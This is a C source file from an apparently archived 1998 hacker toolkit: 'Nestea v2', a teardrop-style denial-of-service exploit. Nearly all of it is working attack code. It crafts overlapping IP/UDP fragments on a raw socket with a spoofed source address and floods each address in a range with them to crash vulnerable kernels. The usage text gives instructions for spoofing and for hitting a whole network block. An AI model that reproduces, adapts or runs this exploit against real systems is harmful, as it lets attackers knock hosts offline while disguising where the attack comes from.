home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / dos / linuxzone / nestea2.c < prev    next >
C/C++ Source or Header  |  1998-09-13  |  14KB  |  352 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <netdb.h>
  6. #include <netinet/in.h>
  7. #include <netinet/udp.h>
  8. #include <arpa/inet.h>
  9. #include <sys/types.h>
  10. #include <sys/time.h>
  11. #include <sys/socket.h>
  12.  
  13. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  14.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  15. #define FIX(n)  (n)
  16. #else                   /* OpenBSD 2.1, all Linux */
  17. #define FIX(n)  htons(n)
  18. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  19.  
  20. #define IP_MF   0x2000  /* More IP fragment en route */
  21. #define IPH     0x14    /* IP header size */
  22. #define UDPH    0x8     /* UDP header size */
  23. #define MAGIC2  108
  24. #define PADDING 256    /* datagram frame padding for first packet */
  25. #define COUNT   500    /* we are overwriting a small number of bytes we 
  26.             shouldnt have access to in the kernel. 
  27.             to be safe, we should hit them till they die :>  */
  28. struct ipstuph
  29. {
  30.     int p1;
  31.     int p2;
  32.     int p3;
  33.     int p4;
  34. } startip, endip;
  35.  
  36. void usage(u_char *);
  37. u_long name_resolve(u_char *);
  38. u_short in_cksum(u_short *, int);
  39. void send_frags(int, u_long, u_long, u_short, u_short);
  40.  
  41. int main(int argc, char **argv)
  42. {
  43.     int one = 1, count = 0, i, rip_sock, j, bequiet = 0;
  44.     u_long  src_ip = 0, dst_ip = 0;
  45.     u_short src_prt = 0, dst_prt = 0;
  46.     char hit_ip[18], dst_ip2[18];
  47.     struct in_addr addr;
  48.     
  49.     fprintf(stderr, "\nNestea v2 originally byhumble ttol mods\n");
  50.     fprintf(stderr, "Color and Instructions was done by ttol\n");
  51.     fprintf(stderr, "Note : ttol released Nestea v2.  humble had nothing to do with \n       it, don't nag him about it.  -ttol@ttol.net\n\n");
  52.     
  53.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  54.     {
  55.         perror("raw socket");
  56.         exit(1);
  57.     }
  58.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  59.         < 0)
  60.     {
  61.         perror("IP_HDRINCL");
  62.         exit(1);
  63.     }
  64.     if (argc < 4) usage(argv[0]);
  65.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  66.     {
  67.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  68.         exit(1);
  69.     }
  70.  
  71.     strcpy(dst_ip2,argv[3]);
  72.     if(sscanf(argv[2],"%d.%d.%d.%d",&startip.p1,&startip.p2,&startip.p3,
  73.                       &startip.p4) != 4)
  74.     {
  75.       fprintf(stderr, "Error, arg2(startip) Need an ip that contains 4 zones\n");                           
  76.       exit(1);
  77.     }
  78.     if (startip.p1 > 255) {
  79.       fprintf(stderr, "Error Zone 1 of start ip is incorrect \
  80.                        (greater than 255)\n");
  81.       exit(1);
  82.     }
  83.     if (startip.p2 > 255) {
  84.       fprintf(stderr, "Error Zone 2 of start ip is incorrect \
  85.                        (greater than 255)\n");
  86.       exit(1);
  87.     }
  88.     if (startip.p3 > 255) {
  89.       fprintf(stderr, "Error Zone 3 of start ip is incorrect \
  90.                        (greater than 255)\n");
  91.       exit(1);
  92.     }
  93.     if (startip.p4 > 255) {
  94.       fprintf(stderr, "Error Zone 4 of start ip is incorret \
  95.                        (greater than 255)\n");
  96.        exit(1);
  97.     }
  98.     if(sscanf(argv[3],"%d.%d.%d.%d",&endip.p1,&endip.p2,&endip.p3,
  99.                       &endip.p4) != 4)
  100.     {
  101.       fprintf(stderr, "Error, arg3(endip) : [[0;34mNeed an ip that \
  102.                        contains 4 zones[[0m\n");
  103.       exit(1);
  104.     }
  105.     if (endip.p1 > 255) {
  106.       fprintf(stderr, "Error Zone 1 of end ip is incorrect \
  107.                        (greater than 255)\n");
  108.       exit(1);
  109.     }
  110.     if (endip.p2 > 255) {
  111.       fprintf(stderr, "Error Zone 2 of end ip is incorrect \
  112.                        (greater than 255)\n");
  113.       exit(1);
  114.     }
  115.     if (endip.p3 > 255) {
  116.       fprintf(stderr, "Error Zone 3 of end ip is incorrect
  117.                        (greater than 255)\n");
  118.       exit(1);
  119.     }
  120.     if (endip.p4 > 255) {
  121.       fprintf(stderr, "Error Zone 4 of end ip is incorrect
  122.                        (greater than 255)\n");
  123.       exit(1);
  124.     }
  125.     if (startip.p1 != endip.p1) {
  126.       fprintf(stderr, "Error Zone 1 of start ip and end ip is different\n");
  127.       exit(1);
  128.     }
  129.     if (startip.p2 != endip.p2) {
  130.       fprintf(stderr, "Error Zone 2 of start ip and end ip is different\n");
  131.       exit(1);
  132.     }
  133.     if (startip.p3 != endip.p3) {
  134.       fprintf(stderr, "Error Zone 3 of start ip and end ip is different\n");
  135.       exit(1);
  136.     }
  137.                                         
  138.     while ((i = getopt_long(argc, argv, "s:t:n:q")) != EOF)
  139.     {
  140.         switch (i)
  141.         {
  142.             case 's':               /* source port (should be emphemeral) */
  143.                 src_prt = (u_short)atoi(optarg);
  144.                 break;
  145.             case 't':               /* dest port (DNS, anyone?) */
  146.                 dst_prt = (u_short)atoi(optarg);
  147.                 break;
  148.             case 'n':               /* number to send */
  149.                 count   = atoi(optarg);
  150.                 break;
  151.             case 'q':               /* quiet mode */
  152.                 bequiet = 1;
  153.                 break;                                                      
  154.             default :
  155.                 usage(argv[0]);
  156.                 break;              /* NOTREACHED */
  157.         }
  158.     }
  159.     srandom((unsigned)(time((time_t)0)));
  160.     if (!src_prt) src_prt = (random() % 0xffff);
  161.     if (!dst_prt) dst_prt = (random() % 0xffff);
  162.     if (!count)   count   = COUNT;
  163.  
  164.     fprintf(stderr, "Death on flaxen wings (yet again):\n");
  165.     addr.s_addr = src_ip;
  166.     fprintf(stderr, "From%15s.%d\n", inet_ntoa(addr), src_prt);
  167.     addr.s_addr = dst_ip;
  168.     fprintf(stderr, "  To%15s - %s.%d\n", inet_ntoa(addr), 
  169.                             dst_ip2, dst_prt);
  170.     fprintf(stderr, " Amt%5d\n", count);
  171.  
  172.     if (bequiet) fprintf(stderr, "[quiet modeEach'.' represents a nuked ip.  [");
  173.     for (j=startip.p4; j <= endip.p4; j++)
  174.     {
  175.       sprintf(hit_ip,"%d.%d.%d.%d",startip.p1,startip.p2,startip.p3,j);
  176.       
  177.       if (!(bequiet)) fprintf(stderr, "%s ", hit_ip);
  178.                    
  179.       if (!(dst_ip = name_resolve(hit_ip)))
  180.     {
  181.           fprintf(stderr, "What the hell kind of IP address is that?\n");
  182.           exit(1);
  183.     }
  184.                                         
  185.     for (i = 0; i < count; i++)
  186.     {
  187.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  188.         if (!(bequiet)) fprintf(stderr, "d00");          
  189.         usleep(500);
  190.     }
  191.     if (bequiet) fprintf(stderr, ".");
  192.     else fprintf(stderr, "]\n");
  193.     }
  194.     if (bequiet) fprintf(stderr, "]\n");
  195.     return (0);
  196. }
  197.  
  198. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  199.                 u_short dst_prt)
  200. {
  201. int i;
  202.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  203.     u_char byte;                            /* a byte */
  204.     struct sockaddr_in sin;                 /* socket protocol structure */
  205.  
  206.     sin.sin_family      = AF_INET;
  207.     sin.sin_port        = src_prt;
  208.     sin.sin_addr.s_addr = dst_ip;
  209.  
  210.     packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
  211.     p_ptr  = packet;
  212.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  213.  
  214.     byte = 0x45;                        /* IP version and header length */
  215.     memcpy(p_ptr, &byte, sizeof(u_char));
  216.     p_ptr += 2;                         /* IP TOS (skipped) */
  217.     *((u_short *)p_ptr) = FIX(IPH + UDPH + 10);    /* total length */
  218.     p_ptr += 2;
  219.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  220.     p_ptr += 2;
  221.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  222.     p_ptr += 2;
  223.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  224.     byte = IPPROTO_UDP;
  225.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  226.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  227.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  228.     p_ptr += 4;
  229.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  230.     p_ptr += 4;
  231.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  232.     p_ptr += 2;
  233.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  234.     p_ptr += 2;
  235.     *((u_short *)p_ptr) = htons(8 + 10);   /* UDP total length */
  236.  
  237.     if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
  238.                 sizeof(struct sockaddr)) == -1)
  239.     {
  240.         perror("\nsendto");
  241.         free(packet);
  242.         exit(1);
  243.     }
  244.  
  245.     p_ptr  = packet;
  246.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  247.  
  248.     byte = 0x45;                        /* IP version and header length */
  249.     memcpy(p_ptr, &byte, sizeof(u_char));
  250.     p_ptr += 2;                         /* IP TOS (skipped) */
  251.     *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);    /* total length */
  252.     p_ptr += 2;
  253.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  254.     p_ptr += 2;
  255.     *((u_short *)p_ptr) = FIX(6);  /* IP frag flags and offset */
  256.     p_ptr += 2;
  257.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  258.     byte = IPPROTO_UDP;
  259.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  260.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  261.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  262.     p_ptr += 4;
  263.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  264.     p_ptr += 4;
  265.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  266.     p_ptr += 2;
  267.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  268.     p_ptr += 2;
  269.     *((u_short *)p_ptr) = htons(8 + MAGIC2);   /* UDP total length */
  270.  
  271.     if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
  272.                 sizeof(struct sockaddr)) == -1)
  273.     {
  274.         perror("\nsendto");
  275.         free(packet);
  276.         exit(1);
  277.     }
  278.  
  279.     p_ptr  = packet;
  280.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
  281.     byte = 0x4F;                        /* IP version and header length */
  282.     memcpy(p_ptr, &byte, sizeof(u_char));
  283.     p_ptr += 2;                         /* IP TOS (skipped) */
  284.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);    /* total length */
  285.     p_ptr += 2;
  286.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  287.     p_ptr += 2;
  288.     *((u_short *)p_ptr) = 0 | FIX(IP_MF);  /* IP frag flags and offset */
  289.     p_ptr += 2;
  290.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  291.     byte = IPPROTO_UDP;
  292.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  293.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  294.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  295.     p_ptr += 4;
  296.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  297.     p_ptr += 44;
  298.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  299.     p_ptr += 2;
  300.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  301.     p_ptr += 2;
  302.     *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
  303.  
  304.     for(i=0;i<PADDING;i++)
  305.     {
  306.         p_ptr[i++]=random()%255;
  307.     }    
  308.  
  309.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  310.                 sizeof(struct sockaddr)) == -1)
  311.     {
  312.         perror("\nsendto");
  313.         free(packet);
  314.         exit(1);
  315.     }
  316.     free(packet);
  317. }
  318.  
  319. u_long name_resolve(u_char *host_name)
  320. {
  321.     struct in_addr addr;
  322.     struct hostent *host_ent;
  323.  
  324.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  325.     {
  326.         if (!(host_ent = gethostbyname(host_name))) return (0);
  327.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  328.     }
  329.     return (addr.s_addr);
  330. }
  331.  
  332. void usage(u_char *name)
  333. {
  334.     fprintf(stderr,
  335. "nestea2 source startIP endIP [-s src port] [-t dest port] [-n quantity] [-q]\n");
  336.     fprintf(stderr, "source   This is the source IP to nestea from, make it a spoof\n");
  337.     fprintf(stderr, "startIP  From which IP should we start from? (eg 153.35.85.1)\n");
  338.     fprintf(stderr, "endIP    From which IP should we end with?   (eg 153.35.95.255)\n");
  339.     fprintf(stderr, "src port This is the source port to spoof from (OPTIONAL)\n");
  340.     fprintf(stderr, "dest portThis is the destination port to nestea to (OPTIONAL)\n");
  341.     fprintf(stderr, "quantity This is how many times to nestea the victim (perfered is 1000)\n");
  342.     fprintf(stderr, "-q       This is quiet mode so you don't see the d00m's\n\n");
  343.     fprintf(stderr, "Example  nestea2 127.0.0.1 153.35.85.1 153.35.85.255 -n 1000\n");
  344.     fprintf(stderr, "The above was to hit a whole Class C of 153.35.85 with the return \naddress from 127.0.0.1 doing it 1000 times\n");
  345.     fprintf(stderr, "Example2 nestea2 153.35.85.32 153.35.85.32 153.85.35.32 -n 1000\n");
  346.     fprintf(stderr, "The above was to hit 153.35.85.32 with the source 153.35.85.32 \ndoing it 1000 times\n");
  347.     fprintf(stderr, "I perfer example2, probably because it is the lazy man's way out\n\n");
  348.     fprintf(stderr, "                             NOT TO BE DISTRIBUTED!\n");
  349.      exit(0);
  350.  
  351. }
  352.